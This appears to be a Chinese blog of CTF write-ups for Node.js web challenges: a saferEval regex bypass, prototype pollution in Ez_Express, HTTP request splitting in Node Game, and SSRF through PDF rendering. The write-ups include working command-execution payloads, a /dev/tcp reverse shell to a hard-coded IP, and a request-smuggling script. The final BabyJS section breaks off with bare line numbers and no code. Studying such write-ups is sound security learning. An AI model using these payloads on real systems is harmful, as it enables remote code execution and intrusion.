Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

[NPUCTF2020]验证🐎

/source给到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

简单审计,发现总共需要绕过两层

第一层:

1
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) 

第二层:

1
2
3
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
}

去看到saferEval方法

1
2
3
4
5
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);

发现发现他可以返回执行但之前存在一个正则

ok,我们先来绕过第一层

1
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

利用nodejs语言的特性绕过弱比较

572

573

那么我们直接输入{"e":"1+1","first":[1],"second":"1"}

575

发现返回计算值,也就是说我们执行了saferEval方法中的eval

那么也就是绕过了第一层的检测,那么我们看到第二层,重点也就是saferEval方法中的正则绕过

1
2
3
4
5
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);

(?:Math(?:\.\w+)?):匹配 Math.[0-9a-z]

[()+\-*/&|^%<>=,?:]:匹配中括号内任意一个字符

(?:\d+\.?\d*(?:e\d+)?):匹配 数字开头 一个或零个点 一个或零个 e[0-9]

/g :空格

这里我们先不来绕过,先来确定我们要做什么,这里要去执行命令获得flag,也就是说我们去调用一个方法或者函数,那么这个函数从哪里来呢,这里就需要用到JavaScript中的原型链的点

576

既然Math.constructor.constructor返回的类型方法,那么我们就通过重新定义这个方法来达到我们需要的目的

577

这里就是实现了最简单的一个相加功能

ok,那么回到我们的题目上,这个题目要求我们用正则里拥有的字符来完成命令执行,那么很明显的有两个问题出现在我们的面前,一个是如何在不使用字符的情况下输入命令,另一个是如何实现函数的调用

第一个还是比较好解决的,我们可以直接通过编码转换进行绕过,第二个就稍微比较麻烦,这里要用到JavaScript中的=>来实现函数的自调

578

这两种方法均可以实现函数自调,但这个很明显只能用()

函数自调明白了,我们来看我们需要调用到什么函数,这里应该是比较常见的child_process库,它是一个bash解释器,可以执行系统命令,它里面有很多可以用来进行命令执行的函数

异步api:

​ exec(cmd, options, callback)

​ execFile(cmd, args, options, callback)

​ fork (模块路径, args, options) // 不一样的地方在于可以通信

​ spawn(cmd, args, options)

同步api:

​ execSync

​ execFileSync

​ pawnSync

这里重点就看两三个,其他的等如果有用到在仔细看

exec用法 :执行shell脚本

execFile用法 :可以执行文件

execSyncexecFileSync实际与上述两个作用相同,但是执行api存在差异

这里利用process.mainModule.require进行导入

那么我们来构造payload

我们先明确我们要执行的命令语句

1
return process.mainModule.require('child_process').execSync('cat /flag')

我们先将这个进行转换

1
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)

发现必须使用Math. 的格式 Math.constructor.constructor无法被构造,那么Math=Math.constructor,Math.x=Math.constructor来进行间接构造,然后再利用 =>进行自调,这样整个payload基本就是出来了

1
(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+2)

嗷对,这里稍微贴个博客,对于node.js要用的东西讲的比较全

[GYCTF2020]Ez_Express

这里进去没什么思路,扫了一下发现有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

简单审计一波,可以看到很明显的定义两个函数

1
2
3
4
5
6
7
8
9
10
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
1
2
3
const clone = (a) => {
return merge({}, a);
}

看到这两个东西,就基本可以确定是一道原型链污染的题目了

clone函数实际上就是调用merge来完成,那么我们主要就是来看merge,运用一个递归,将两个对象合并,存在的漏洞点也很明显a[attr] = b[attr];,我们通过构造attr为**_proto_**就可以实现原型链的污染了

ok,明白了污染点,我们来看哪里调用到了这两个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

很明显可以看到在**/action的路由下调用到了clone**函数

但在这个之前需要绕过一个判断if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 才能执行到我们需要的req.session.user.data = clone(req.body);

那么思路就已经显而易见了,通过伪造一个ADMIN身份,来执行原型链污染,从而造成命令执行的效果

那么污染什么呢,这个其实很好找

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

怎么伪造这个ADMIN身份,显然不会是直接这么轻松

1
2
3
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
1
2
3
4
5
6
7
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

可以看到其实是有一层安全防护在的

但仔细看还是会发现其实存在一点问题,Javascript是一个大小写敏感的语言,虽然我们传入的不管是大小写都会被检测,最后的检测却固定为ADMIN,也就是说他中间一定是存在一个大小写转化的步骤

仔细再看一遍就可以发现端倪'user':req.body.userid.toUpperCase().这个对传入的userid进行了一个大小写转化,搜了一下发现这里其实是存在可以利用的漏洞的,我在另一篇文章里就具体的记录,这里就不在过的的赘述,简单说一下他的利用方式

toUpperCase中存在两个特殊的字符**”ı”“ſ”,而这两个的大写为IS**,也就说 “ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’ 可以用其特性来进行绕过

这回思路彻底明朗了,通过admın来伪造身份,在**/action**路由下传入进行污染

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.236.106.198/9000 0>&1\"');var __tmp2"}}

访问**/info**路由,执行这个payload,就可以实现反弹shell了

这里还有个思路是直接在**/action**路由下传入命令执行

1
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

同样只要访问**/info**路由就可以获得flag了

[GYCTF2020]Node Game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');

app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))

app.get('/', function(req, res) {
var action = req.query.action ? req.query.action : "index";
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res) {
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data) {
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file, data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

这题思路还是比较简单的,简单先来解析这段源码

很明显的是设定了几个路由和一个黑名单

先来看几个路由的内容

/路由下,对传入的目录进行了限制,但可以通过pug模板渲染/template目录下指定的文件

file_upload路由有对IP的限制,很明显需要借助SSRF,这里var file_path = '/uploads/' + req.files[0].mimetype +"/";中的mimetype我们可以通过Content-Type进行控制,如果改为../template,经过拼接后,文件的保存目录就会变成_dirname/uploads/../template/shell.pug。这样就可以保存到/template目录下,然后我们就可以通过上面的action进行渲染,也可以通过直接构造命令,实现命令执行

core路由中,先是对参数q的内容进行检查,如果通过了检查,就会通过内网URL发起一次GET请求/source目录,这里显然就可以进行SSRF

但这里存在一个问题,就是虽然存在内网请求,但是被绑定在了**/source**目录下

搜索了一下,发现漏洞点在http.get(url, function(resp),利用HTTP请求拆分漏洞来实现

当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30

Node.js v8 或更低版本对此URL发出 GET 请求\u010D\u010A时,它不会进行编码转义,因为它们不是HTTP控制字符,但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a)

node8有对回车换行(HTTP协议控制字符)进行处理

586

但是它对Unicode编码的字符不会进行处理,因为他们并不是HTTP协议中的控制字符,但因为node.js默认使用latin1编码,所以它在处理高位unicode字符时会产生截断从而会让某些特定字符产生回车换行。

587

这里其实看的有点半懵半懂的状态,也就说我们可以通过构造unicode字符来进行http请求走私,然后再通过构造mimetype来实现命令执行

因为做的时候没有太明白,感觉好像懂了原理,但是自己构造不出来,这里就直接贴一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x

------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /anythingelse HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://1e1f41d5-6909-4538-a4c1-be1020cc04a7.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
# response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
# print(response.text)

[2021祥云杯]secrets_of_admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import * as express from 'express';
import { Request, Response, NextFunction } from 'express';
import * as createError from "http-errors";
import * as pdf from 'html-pdf';
import DB from '../database';
import * as fs from 'fs';
import * as path from 'path';
import * as crypto from 'crypto';
import { promisify } from 'util';
import { v4 as uuid } from 'uuid';

const readFile = promisify(fs.readFile)

const getCheckSum = (filename: string): Promise<string> => {
return new Promise((resolve, reject) => {
const shasum = crypto.createHash('md5');
try {
const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
s.on('data', (data) => {
shasum.update(data)
})
s.on('end', () => {
return resolve(shasum.digest('hex'));
})
} catch (err) {
reject(err)
}
})
}

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
}


const router = express.Router();

router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `}))

router.post('/', async (req, res) => {
let { username, password } = req.body;
if ( username && password) {
if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
return res.render('index', { error: 'Parameters error 👻'});
}
let data = await DB.Login(username, password)
if(!data) {
return res.render('index', { error : 'You are not admin 😤'});
}
res.cookie('token', {
username: username,
isAdmin: true
}, { signed: true })
res.redirect('/admin');
} else {
return res.render('index', { error : 'Parameters cannot be blank 😒'});
}
})

router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

export default router;

附件里有一个数据库文件,打开后可以发现账号密码

1
INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

同时在下面发现一段可能有用的数据

1
INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);

然后我们来主要分析一下这个index.ts

我们重点来看几个路由上的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `}))

router.post('/', async (req, res) => {
let { username, password } = req.body;
if ( username && password) {
if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
return res.render('index', { error: 'Parameters error 👻'});
}
let data = await DB.Login(username, password)
if(!data) {
return res.render('index', { error : 'You are not admin 😤'});
}
res.cookie('token', {
username: username,
isAdmin: true
}, { signed: true })
res.redirect('/admin');
} else {
return res.render('index', { error : 'Parameters cannot be blank 😒'});
}
})

/GET请求其实并没有什么操作,我们主要来看POST请求,获取usernamepassword后显示判断类型,然后和数据库内数据进行比对,比对成功跳转到**/admin**路由,同时他会把身份信息扔到token里

1
2
3
4
res.cookie('token', {
username: username,
isAdmin: true
}, { signed: true })

既然跳转到**/admin路由,我们就去/admin**路由下看一眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

这里我们可以看到不管是GET还是POST的请求,都会调用checkAuth方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
}

这个方法也挺好理解的,就是过滤掉了superuser,token数据中不能包含superuser

回到**/admin路由,GET**请求下有一个 const files = await DB.listFile(token.username); 我们在数据库文件里可以找到这个方法的定义

1
2
3
4
5
6
7
8
static listFile(username: string): Promise<any> {
return new Promise((resolve, reject) => {
db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => {
if (err) return reject(err);
resolve(result);
})
})
}

这个方法将该用户名下的所有文件名和checknum都给输出,回到GET请求,将这些信息放入token中

然后来看POST请求,同样先是过滤掉了superuser,然后对content信息进行过滤,绕过过滤后把content信息放入一个html模板中,然后在./files/目录下生成一个pdf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const getCheckSum = (filename: string): Promise<string> => {
return new Promise((resolve, reject) => {
const shasum = crypto.createHash('md5');
try {
const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
s.on('data', (data) => {
shasum.update(data)
})
s.on('end', () => {
return resolve(shasum.digest('hex'));
})
} catch (err) {
reject(err)
}
})
}

根据文件名生成一段随机数

1
await DB.Create('superuser', filename, checksum)

把随机数和文件名放到superuser下,到这里**/admin**路由就差不多解释完了

然后来看**/api/files**路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

简单粗暴,只能本地访问,说明需要我们ssrf,然后把这三个数据写入数据库

最后看**/api/files/:id**路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

也挺好理解的,限制superuser身份,根据我们输入的id去找到相应的文件并访问

看完整段代码,回到我们一开始发现的两个信息

一个是admin身份的账号和密码,另一个很明显是我们需要获得的flag

1
INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);

但我们发现问题flag属于superuser,但superuser不能用,也就是说我们需要把flagadmin

所以我们来理一下思路,我们可以通过**/adminPOST请求来实现ssrf,通过/api/files来写入数据,通过我们可以控制的文件名命令执行,把flag给admin**

这样我们就可以来进行构造

1
2
3
<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();
</script>

这题直接借鉴大佬的payload,这里需要用到xxe,等node学的差不多了,打算先去看一下xxe的知识点了

这个payload整体还是看的懂的,解释一个点,为什么把filename=./flag,其实也很好理解

588

我们看到创建的table中可以发现filename VARCHAR(255) NOT NULL UNIQUE也就是flag原本就已经在存在了,所以可以利用./flag进行绕过

写入后访问**/api/files/123**即可获得flag

[网鼎杯 2020 半决赛]BabyJS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
res.json({});
});

router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});


router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});

module.exports = router;

稍微找了一下主函数,看到黑名单,很容易想到ssrf,猜测考点是ssrf + node.js

然后我们具体来看代码,前面没什么好看的,根 路由下面没有什么东西,但两个**/debug**路由下面就比较有意思了,这里大致看了一下都用到了黑名单,但是两个检测的东西不同,我们稍微来看一下

1
blacklist.indexOf(urlObject.hostname) == -1
1
blacklist.indexOf(req.ip)!=-1
1
url.parse(u).href

我们具体看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
